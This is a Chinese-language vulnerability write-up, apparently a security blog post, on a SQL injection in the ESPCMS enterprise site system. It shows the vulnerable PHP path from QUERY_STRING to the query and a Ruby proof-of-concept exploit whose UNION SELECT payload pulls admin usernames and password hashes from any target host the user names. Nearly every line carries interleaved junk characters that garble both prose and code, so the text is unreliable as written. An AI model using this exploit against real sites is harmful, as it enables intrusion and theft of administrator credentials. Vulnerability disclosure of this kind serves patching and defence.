0×0 漏洞概述0×1 漏洞细节0 A4 g! p% V& J9 F3 U' B
0×2 PoC
9 q7 ?) J# U/ D4 q9 g; ^9 ^) Y. `( C1 l4 s5 P) c8 ]- x' ^
- H% }- Y N; z1 L: K
" O, p6 A; M4 Z1 ~& {
0×0 漏洞概述) J' p! q0 [/ C
. P. \" O, S' q% l7 |$ ?6 F1 P3 S" @易思ESPCMS企业网站管理系统基于LAMP开发构建的企业网站管理系统,它具有操作简单、功能强大、稳定性好、扩展性及安全性强、二次开发及后期维护方便,可以帮您迅速、轻松地构建起一个强大专业的企业网站。
/ U; [* K4 q% U其在处理传入的参数时考虑不严谨导致SQL注入发生, A) @6 F: P/ t) u9 U, e
6 }: w7 ^* ^ D y _
# p% m8 U _0 g+ Z; X# N
0×1 漏洞细节) k2 q1 T- a e0 \9 O' g
$ I: ?. Q/ i/ n% e# J `变量的传递过程是$_SERVER['QUERY_STRING']->$urlcode->$output->$value->$db_where->$sql->mysql_query,整个过程无过滤导致了注入的发生。
9 K# ]" f3 j, f/ u9 m' \+ n正因为变量是从$_SERVER['QUERY_STRING']中去取的,所以正好避开了程序的过滤。
4 E' O4 A. F: _, t而注入的变量是数组的值,并非数组的key,所以也没过被过滤,综合起来形成了一个比较少见的SQL注入。
9 Z5 p$ m5 h; v' y; N- q# K4 s. k: Z- Y
在/interface/3gwap_search.php文件的in_result函数中:
6 M0 \+ Q8 t! |) K. d& b! H5 `0 A2 {' `% }0 s
7 H% `% |% W/ P$ A5 l9 _: r0 g5 x7 y; g1 D; v1 H% x
function in_result() {! c1 J& m6 S7 a# A/ S/ ?
... ... ... ... ... ... ... ... ...
! u, ]% Y" k/ f6 w$ D3 p $urlcode = $_SERVER[ 'QUERY_STRING '];4 H/ f, T' @+ W: G2 i. T
parse_str(html_entity_decode($urlcode), $output);
3 n) R A i& a8 y- { X2 A
. ^2 h5 j" p4 y2 o ... ... ... ... ... ... ... ... ...8 s* z8 b1 ?8 ~
if (is_array($output['attr' ]) && count($output['attr']) > 0) {# _1 v0 y3 J- n
$ Q8 R5 Z" Y" l$ z2 } $db_table = db_prefix . 'model_att';% R) B. s! r ?
0 c4 E8 I. p5 S) J T foreach ($output['attr' ] as $key => $value) {5 C' \2 b5 Y2 {9 R) ~( e! P; i, c
if ($value) {
9 p) l# `! k: l3 v4 I" Y
' H- @/ x- B9 T0 d+ o/ O6 h8 t3 P$ I $key = addslashes($key);
1 P: y6 S( K8 f9 W $key = $this-> fun->inputcodetrim($key);
6 n* Y9 f* f6 f$ B- m! A1 T $db_att_where = " WHERE isclass=1 AND attrname='$key'";
' ?/ |5 k5 X! a! \0 X K8 z/ o, F $countnum = $this->db_numrows($db_table, $db_att_where);- Q( P% I8 {' D0 |5 S
if ($countnum > 0) {! Q7 g* r- K q" t. H
$db_where .= ' AND b.' . $key . '=\'' . $value . '\'' ;; M" x! T+ v1 u) o" ?
}+ Y3 h# o! e: h7 q
}
4 C4 \8 g" p/ n: e, E }
J% I, Z# x; _; o# O }
|0 {9 j* m/ v- g( Q& t if (!empty ($keyword) && empty($keyname)) {' q7 G6 d- ~ Z- Y/ X
$keyname = 'title';
/ V9 P. F5 X* L2 W# M8 w/ X' I $db_where.= " AND a.title like '%$keyword%'" ;. l8 x" |, [$ x [; H' d) K; Q
} elseif (!empty ($keyword) && !empty($keyname)) {& h" `; v* L# C# z M
$db_where.= " AND $keyname like '% $keyword%'";
6 Q8 N: G2 r8 `! F. f. K* z }
0 a* d6 v _: V+ E1 Z $pagemax = 15;# w! L/ q& C3 l, ]. b- w; i# ?
, Y& @$ {' N S) c $pagesylte = 1;3 h. `8 N/ n; C
; y* Z3 q7 Z; ]
if ($countnum > 0) {; T; S5 [0 j1 K3 ~$ {4 m
0 ?* r, n- ]' m+ ?7 H9 N8 x: c
$numpage = ceil($countnum / $pagemax);- r* l* C3 y+ Q* m' A+ Z
} else {/ \$ r( }9 T! H; z, |, v
$numpage = 1;
1 j, e) Q6 D2 ` }# V) K- Y& I4 N: o- d* k
$sql = "SELECT b.*,a.* FROM " . db_prefix . "document AS a LEFT JOIN " . db_prefix . "document_attr AS b ON a.did=b.did " . $db_where . ' LIMIT 0,' . $pagemax;
! e' E0 _, O- `: Z $this-> htmlpage = new PageBotton($sql, $pagemax, $page, $countnum, $numpage, $pagesylte, $this->CON ['file_fileex' ], 5, $this->lng['pagebotton' ], $this->lng['gopageurl'], 0);- G+ s6 s+ d S$ [
$sql = $this-> htmlpage->PageSQL('a.did' , 'down' ); $rs = $this->db->query($sql);% ]3 i' _9 n6 T
... ... ... ... ... ... ... ... ...
* @; T8 p4 L# r0 w+ q: v" ^; { }
- A9 H, h1 I) l7 v6 g; Q- \& k, _& X3 ]9 a/ d0 ~8 _" I
1 n$ x) ?6 ?. B# I/ x& y
0×2 PoC
' c3 q3 m0 C) P6 U: g" a; H7 \
& k6 S" @4 A- f! m0 g# `4 |, T* t5 \* w
" u+ {4 M) s1 y9 ]8 x9 _& }
require "net/http"2 ]. f' v; p5 i! A# t
2 T7 g- t z8 E; }. p: r5 odef request(method, url)
/ M/ n- J2 I8 _, v if method.eql?("get")$ f" x0 @% j6 s) l8 w i
uri = URI.parse(url)# a$ Y, A3 E1 N% t: N
http = Net::HTTP.new(uri.host, uri.port)
8 t- G5 j! C4 c/ N1 ~+ E response = http.request(Net::HTTP::Get.new(uri.request_uri))/ P0 L7 X& y' D3 J$ ~6 g
return response
1 Z1 S% Y j0 D) W end
) u! o, t; |: Vend1 ]; _2 @+ S$ E+ z$ r% Y" j
( z1 A( R+ a: W" Q
doc =<<HERE
& k3 S3 _# |) t: E-------------------------------------------------------
* C1 M, E7 F2 q: o4 q4 wEspcms Injection Exploit6 Y5 z1 U7 z7 D! j# P* x
Author:ztz
! R) I# O: J2 H4 W4 f) v5 X dBlog:http://ztz.fuzzexp.org/4 z) U2 s/ w! g7 G5 }: W8 H
-------------------------------------------------------
, y8 }( [- R$ N1 x* B
6 L5 Q2 N. T: N2 C2 XHERE/ i& M/ _2 C/ ^' x9 {( E
) }. }/ x3 C/ pusage =<<HERE6 L. l+ E8 T C/ t
Usage: ruby #{$0} host port path6 T8 S3 N) g f# L8 x1 t5 [& x
example: ruby #{$0} www.target.com 80 /0 T5 j# C9 Q2 h2 R6 J& p5 r
HERE7 s! q& `/ p& u+ e! i" w9 o- k' W; Z& Z
" E, @6 Z! M( R! @! {puts doc
/ o J! i! I* h2 p8 O+ Gif ARGV.length < 3' o5 o% D! B; v
puts usage% n5 }# `7 T. V, A
else3 K% f: ]6 [5 l4 {* |& P! I
$host = ARGV[0]
6 @/ |1 U: f8 S4 }+ w $port = ARGV[1]
W: Z. W. ?& X+ `) u $path = ARGV[2]. C5 s4 c4 G- |' J" `, L
8 I) X, G5 ]. H3 _3 _% g6 W8 y
puts "send request..."" v% L; j5 {+ V' f5 V
url = "http://#{$host}:#{$port}#{$path}wap/index.php?ac=search&at=result&lng=cn&mid=3&tid=11&keyword=1&keyname=a.title&countnum=1&, o" p1 h0 Y: g( j# \
attr[jobnum]=1%27%20and%201=2%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,13
1 p( n4 a+ t- H$ K" I,14,15,16,17,18,19,20,21,22,23,24,25,concat%28username,CHAR%2838%29,password%29,276 Y( _2 e# E8 Y/ z9 `0 V+ ]
,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45%20from%20espcms_admin_member;%23": t) F" P5 i' E% [
response = request("get", url)
. m$ J! X- w# Z4 \; d+ q. @ { result = response.body.scan(/\w+&\w{32}/)
) v* V2 X: q: S& ~ puts result
, _! G; o1 s. ]end
7 H7 u6 g) o/ d* t( Z. v5 O4 b2 @( r7 E C1 _# j7 u
|